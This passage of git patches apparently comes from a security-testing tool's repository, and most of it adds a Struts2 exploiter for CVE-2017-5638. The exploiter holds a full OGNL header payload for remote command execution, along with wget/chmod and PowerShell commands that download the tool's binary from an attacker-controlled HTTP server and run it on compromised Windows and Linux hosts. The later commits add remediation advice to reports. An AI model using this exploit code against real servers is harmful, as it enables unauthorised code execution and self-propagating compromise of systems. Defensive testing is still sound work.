"sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", + "integrity": "sha1-BktyYCsY+Q8pGSuLG8QY/9Hr078=", "requires": { "asap": "2.0.6" } @@ -11100,7 +11024,7 @@ "psl": { "version": "1.1.20", "resolved": "https://registry.npmjs.org/psl/-/psl-1.1.20.tgz", - "integrity": "sha512-JWUi+8DYZnEn9vfV0ppHFLBP0Lk7wxzpobILpBEMDV4nFket4YK+6Rn1Zn6DHmD9PqqsV96AM6l4R/2oirzkgw==" + "integrity": "sha1-NjOC8zI4iICxVeJQY0WVcIQojp0=" }, "punycode": { "version": "1.4.1", @@ -11162,7 +11086,7 @@ "randomatic": { "version": "1.1.7", "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-1.1.7.tgz", - "integrity": "sha512-D5JUjPyJbaJDkuAazpVnSfVkLlpeO3wDlPROTMLGKG1zMFNFRgrciKo1ltz/AzNTkqE0HzDx655QOL51N06how==", + "integrity": "sha1-x6vpzIuHwLqodrGf3oP9RkeX44w=", "dev": true, "requires": { "is-number": "3.0.0", @@ -11467,7 +11391,7 @@ "react-router": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.2.0.tgz", - "integrity": "sha512-DY6pjwRhdARE4TDw7XjxjZsbx9lKmIcyZoZ+SDO7SBJ1KUeWNxT22Kara2AC7u6/c2SYEHlEDLnzBCcNhLE8Vg==", + "integrity": "sha1-Yfez43cNrrJAYtrj7t7xsFQVWYY=", "requires": { "history": "4.7.2", "hoist-non-react-statics": "2.3.1", @@ -11491,7 +11415,7 @@ "react-router-dom": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.2.2.tgz", - "integrity": "sha512-cHMFC1ZoLDfEaMFoKTjN7fry/oczMgRt5BKfMAkTu5zEuJvUiPp1J8d0eXSVTnBh6pxlbdqDhozunOOLtmKfPA==", + "integrity": "sha1-yKgd863Fi7qKdngulGy9Tq5km40=", "requires": { "history": "4.7.2", "invariant": "2.2.2", @@ -11663,7 +11587,7 @@ "redux": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/redux/-/redux-3.7.2.tgz", - "integrity": "sha512-pNqnf9q1hI5HHZRBkj3bAngGZW/JMCmexDlOxw4XagXY2o1327nHH54LoTjiPJ0gizoqPDRqWyX/00g0hD6w+A==", + "integrity": "sha1-BrcxIyFZAdJdBlvjQusCa8HIU3s=", "requires": { "lodash": "4.17.4", "lodash-es": "4.17.4", @@ -11860,7 +11784,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" + "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" }, "restore-cursor": { "version": "1.0.1", @@ -11914,7 +11838,7 @@ "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", + "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", "dev": true }, "sax": { @@ -12249,7 +12173,7 @@ "source-map-support": { "version": "0.4.17", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.17.tgz", - "integrity": "sha512-30c1Ch8FSjV0FwC253iftbbj0dU/OXoSg1LAEGZJUlGgjTNj6cu+DVqJWWIZJY5RXLWV4eFtR+4ouo0VIOYOTg==", + "integrity": "sha1-byFQVT5jdTddDMsxgFAreMGLpDA=", "dev": true, "requires": { "source-map": "0.5.6" @@ -12609,7 +12533,7 @@ "string_decoder": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", + "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -12935,7 +12859,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" + "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" }, "vary": { "version": "1.1.1", @@ -13215,7 +13139,7 @@ "which": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", - "integrity": "sha512-xcJpopdamTuY5duC/KnTTNBraPK54YwpenP4lzxU8H91GudWpFv38u0CKjclE1Wi2EH2EDz5LRcHcKbCIzqGyg==", + "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", "dev": true, "requires": { "isexe": "2.0.0" diff --git a/monkey_island/cc/ui/package.json b/monkey_island/cc/ui/package.json index 8c2d5331f..38c8463fb 100644 --- a/monkey_island/cc/ui/package.json +++ b/monkey_island/cc/ui/package.json @@ -47,7 +47,7 @@ "karma-sourcemap-loader": "^0.3.5", "karma-webpack": "^1.7.0", "minimist": "^1.2.0", - "mocha": "^3.5.3", + "mocha": "^5.2.0", "null-loader": "^0.1.1", "open": "0.0.5", "phantomjs-prebuilt": "^2.1.16", diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 4a54aeb8c..b4780e6cf 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -45,7 +45,7 @@ class MapPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); From 9a8a6c6e28b95c2a6f3d9e0fab57321a169636ca Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 19 Jun 2018 18:05:09 +0300 Subject: [PATCH 80/92] Now exploiting both win and linux. Also, added check if monkey is not already present --- infection_monkey/exploit/struts2.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 infection_monkey/exploit/struts2.py diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..e69de29bb From 413bdd925447c5b919ce664f6d01d2801e014d6b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 19 Jun 2018 18:08:52 +0300 Subject: [PATCH 81/92] Not yet functioning and tested, but most functions are done --- infection_monkey/config.py | 4 +- infection_monkey/example.conf | 3 +- infection_monkey/exploit/__init__.py | 1 + infection_monkey/exploit/struts2.py | 204 +++++++++++++++++++++++++++ monkey_island/cc/services/config.py | 10 +- 5 files changed, 218 insertions(+), 4 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index f4ca4e89e..4e87243a8 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -7,7 +7,7 @@ from abc import ABCMeta from itertools import product from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger __author__ = 'itamar' @@ -148,7 +148,7 @@ class Configuration(object): finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger] exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, # multi + ElasticGroovyExploiter, Struts2Exploiter # multi ] # how many victims to look for in a single scan iteration diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index bc0156d8a..a6961331f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -36,7 +36,8 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter" + "SambaCryExploiter", + "Struts2Exploiter" ], "finger_classes": [ "SSHFinger", diff --git a/infection_monkey/exploit/__init__.py b/infection_monkey/exploit/__init__.py index a05f5b079..f2d5d0c5b 100644 --- a/infection_monkey/exploit/__init__.py +++ b/infection_monkey/exploit/__init__.py @@ -41,3 +41,4 @@ from sshexec import SSHExploiter from shellshock import ShellShockExploiter from sambacry import SambaCryExploiter from elasticgroovy import ElasticGroovyExploiter +from struts2 import Struts2Exploiter diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index e69de29bb..f3a819169 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -0,0 +1,204 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +from network.tools import check_tcp_ports +import logging +from exploit import HostExploiter +from exploit.tools import get_target_monkey, get_monkey_depth +from tools import build_monkey_commandline, HTTPTools + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +ID_STRING = "M0NK3YSTRUTS2" +MONKEY_ARG = "m0nk3y" +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) +# Command used to check whether host is vulnerable +CHECK_COMMAND = "echo %s" % ID_STRING +# Commands used to check for architecture +CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "%s && lscpu" % ID_STRING +# Commands used to check if monkeys already exists +EXISTS = "ls %s" + +WEB_PORTS = [80, 443, 8080] +# Timeouts if the payload is wrong +DOWNLOAD_TIMEOUT = 30 +# This is set so that we don't have to wait for monkeys' output (in seconds) +RESPONSE_TIMEOUT = 1 + + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + + def exploit_host(self): + # TODO add skip if file exists + # Initializing vars for convenience + ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port == 443: + current_host = "https://%s:%d" % (self.host.ip_addr, port) + else: + # TODO remove struts from url + current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + # Get full URL + current_host = self.get_redirected(current_host) + # Get os architecture so that we don't have to update monkey + + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + host_arch = Struts2Exploiter.try_exploit_linux(current_host) + else: + host_arch = Struts2Exploiter.try_exploit_windows(current_host) + + if host_arch: + self.host.os['machine'] = host_arch + + if current_host and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + # Form command according to os + if 'linux' in self.host.os['type']: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): + return True + command = WGET_HTTP % {'monkey_path': dropper_path_linux, + 'http_path': http_path, 'parameters': cmdline} + else: + if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) + or self.check_remote_file(current_host, dropper_path_win_64)): + return True + command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(current_host, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + @staticmethod + def try_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def try_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + if "x86_64" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + return False + + @staticmethod + def exploit(url, cmd, timeout=None): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :param timeout: How long to wait for response in seconds(if monkey is executed + it's better not to wait it's whole output + :return: response + """ + page = "" + + payload = "%{(#_='multipart/form-data')." + payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + payload += "(#_memberAccess?" + payload += "(#_memberAccess=#dm):" + payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + payload += "(#ognlUtil.getExcludedPackageNames().clear())." + payload += "(#ognlUtil.getExcludedClasses().clear())." + payload += "(#context.setMemberAccess(#dm))))." + payload += "(#cmd='%s')." % cmd + payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + payload += "(#p=new java.lang.ProcessBuilder(#cmds))." + payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." + payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + payload += "(#ros.flush())}" + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request, timeout=timeout).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead, e: + page = e.partial + except Exception: + LOG.info("Request timed out, because monkey is still running on remote host") + + return page diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 390968a86..c3534c95c 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -80,6 +80,13 @@ SCHEMA = { ], "title": "ElasticGroovy Exploiter" }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + } ] }, "finger_classes": { @@ -609,7 +616,8 @@ SCHEMA = { "SSHExploiter", "ShellShockExploiter", "SambaCryExploiter", - "ElasticGroovyExploiter" + "ElasticGroovyExploiter", + "Struts2Exploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN From 2d27972e7ed4082bfbad696f0d02d97ca0fe79a7 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 16:58:20 +0300 Subject: [PATCH 82/92] Struts exploitation working, and tested with win-64 and ubuntu --- infection_monkey/exploit/struts2.py | 154 +++++++++++------- monkey_island/cc/resources/monkey_download.py | 15 ++ 2 files changed, 112 insertions(+), 57 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index f3a819169..be8ba8f0f 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y" # Commands used for downloading monkeys POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, ) WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, ) -# Command used to check whether host is vulnerable -CHECK_COMMAND = "echo %s" % ID_STRING # Commands used to check for architecture -CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "%s && lscpu" % ID_STRING +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Commands used to check if monkeys already exists EXISTS = "ls %s" @@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter): self.skip_exist = self._config.skip_exploit_if_file_exist def exploit_host(self): - # TODO add skip if file exists # Initializing vars for convenience ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS) dropper_path_linux = self._config.dropper_target_path_linux @@ -65,56 +62,15 @@ class Struts2Exploiter(HostExploiter): # TODO remove struts from url current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) # Get full URL - current_host = self.get_redirected(current_host) + url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in self.host.os['type']: - host_arch = Struts2Exploiter.try_exploit_linux(current_host) + return self.exploit_linux(url, dropper_path_linux) else: - host_arch = Struts2Exploiter.try_exploit_windows(current_host) - - if host_arch: - self.host.os['machine'] = host_arch - - if current_host and host_arch: - LOG.info("Host is exploitable with struts2 RCE vulnerability") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") - return False - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - # Form command according to os - if 'linux' in self.host.os['type']: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)): - return True - command = WGET_HTTP % {'monkey_path': dropper_path_linux, - 'http_path': http_path, 'parameters': cmdline} - else: - if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32) - or self.check_remote_file(current_host, dropper_path_win_64)): - return True - command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32), - 'http_path': http_path, 'parameters': cmdline} - - self.exploit(current_host, command) - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - LOG.info("Struts2 exploit attempt finished") - - return True - - return False + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): command = EXISTS % path @@ -125,8 +81,92 @@ class Struts2Exploiter(HostExploiter): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and (self.check_remote_file(url, dropper_path)): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command, RESPONSE_TIMEOUT) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, dropper_path): + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + # TODO Add timeout + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + @staticmethod - def try_exploit_windows(url): + def check_exploit_windows(url): resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) if resp and ID_STRING in resp: if "64-bit" in resp: @@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter): return False @staticmethod - def try_exploit_linux(url): + def check_exploit_linux(url): resp = Struts2Exploiter.exploit(url, CHECK_LINUX) if resp and ID_STRING in resp: - if "x86_64" in resp: - return "64" - else: - return "32" + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch else: return False @@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter): """ :param url: Full url to send request to :param cmd: Code to try and execute on host - :param timeout: How long to wait for response in seconds(if monkey is executed - it's better not to wait it's whole output + :param timeout: How long to wait for response in seconds(if monkey is being executed + it's better not to wait it's whole output). By default we wait. :return: response """ page = "" diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index 25e67fdb2..acf92b558 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [ 'machine': 'i686', 'filename': 'monkey-linux-32', }, + { + 'type': 'linux', + 'machine': 'i386', + 'filename': 'monkey-linux-32', + }, { 'type': 'linux', 'filename': 'monkey-linux-64', @@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [ 'machine': 'amd64', 'filename': 'monkey-windows-64.exe', }, + { + 'type': 'windows', + 'machine': '64', + 'filename': 'monkey-windows-64.exe', + }, + { + 'type': 'windows', + 'machine': '32', + 'filename': 'monkey-windows-32.exe', + }, { 'type': 'windows', 'filename': 'monkey-windows-32.exe', From ef6c512ea9ef8210cd7df7294fbb69f0790ab4c6 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 20 Jun 2018 22:35:18 +0300 Subject: [PATCH 83/92] Finished up exploitation and added reporting --- infection_monkey/exploit/struts2.py | 7 ++--- monkey_island/cc/services/report.py | 11 +++++++ .../cc/ui/src/components/pages/ReportPage.js | 29 +++++++++++++++++-- 3 files changed, 41 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index be8ba8f0f..5bd26fbb7 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -59,8 +59,7 @@ class Struts2Exploiter(HostExploiter): if port == 443: current_host = "https://%s:%d" % (self.host.ip_addr, port) else: - # TODO remove struts from url - current_host = "http://%s:%d/struts" % (self.host.ip_addr, port) + current_host = "http://%s:%d" % (self.host.ip_addr, port) # Get full URL url = self.get_redirected(current_host) # Get os architecture so that we don't have to update monkey @@ -154,8 +153,8 @@ class Struts2Exploiter(HostExploiter): command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} - # TODO Add timeout - self.exploit(url, command) + + self.exploit(url, command, RESPONSE_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 13b52422c..369b29c25 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -30,6 +30,7 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', + 'Struts2Exploiter': 'Struts2 Exploiter' } class ISSUES_DICT(Enum): @@ -41,6 +42,7 @@ class ReportService: CONFICKER = 5 AZURE = 6 STOLEN_SSH_KEYS = 7 + STRUTS2 = 8 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -290,6 +292,12 @@ class ReportService: processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls] return processed_exploit + @staticmethod + def process_struts2_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'struts2' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -302,6 +310,7 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, + 'Struts2Exploiter': ReportService.process_struts2_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -419,6 +428,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True + elif issue['type'] == 'struts2': + issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index f018254b0..2a02a092d 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -23,7 +23,8 @@ class ReportPageComponent extends AuthComponent { SHELLSHOCK: 4, CONFICKER: 5, AZURE: 6, - STOLEN_SSH_KEYS: 7 + STOLEN_SSH_KEYS: 7, + STRUTS2: 8 }; Warning = @@ -321,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
  • Azure machines expose plaintext passwords. (More info)
  • : null} - + {this.state.report.overview.issues[this.Issue.STRUTS2] ? +
  • Struts2 servers are vulnerable to remote code execution. ( + CVE-2017-5638)
  • : null } : @@ -671,6 +675,24 @@ class ReportPageComponent extends AuthComponent { ); } + generateStruts2Issue(issue) { + return ( +
  • + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + + Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read here. +
    +
  • + ); + } + generateIssue = (issue) => { @@ -718,6 +740,9 @@ class ReportPageComponent extends AuthComponent { case 'azure_password': data = this.generateAzureIssue(issue); break; + case 'struts2': + data = this.generateStruts2Issue(issue); + break; } return data; }; From 208411d6fc2d83feeb90e5e3a1f55b5ec5dfbb5f Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 21 Jun 2018 00:10:56 +0300 Subject: [PATCH 84/92] Cosmetic changes --- infection_monkey/exploit/struts2.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 5bd26fbb7..6ed5a51ef 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -30,9 +30,8 @@ CHECK_LINUX = "echo %s && lscpu" % ID_STRING EXISTS = "ls %s" WEB_PORTS = [80, 443, 8080] -# Timeouts if the payload is wrong DOWNLOAD_TIMEOUT = 30 -# This is set so that we don't have to wait for monkeys' output (in seconds) +# In seconds. This is set so that we don't have to wait for monkeys' output. RESPONSE_TIMEOUT = 1 @@ -62,8 +61,6 @@ class Struts2Exploiter(HostExploiter): current_host = "http://%s:%d" % (self.host.ip_addr, port) # Get full URL url = self.get_redirected(current_host) - # Get os architecture so that we don't have to update monkey - LOG.info("Trying to exploit with struts2") # Check if host is vulnerable and get host os architecture if 'linux' in 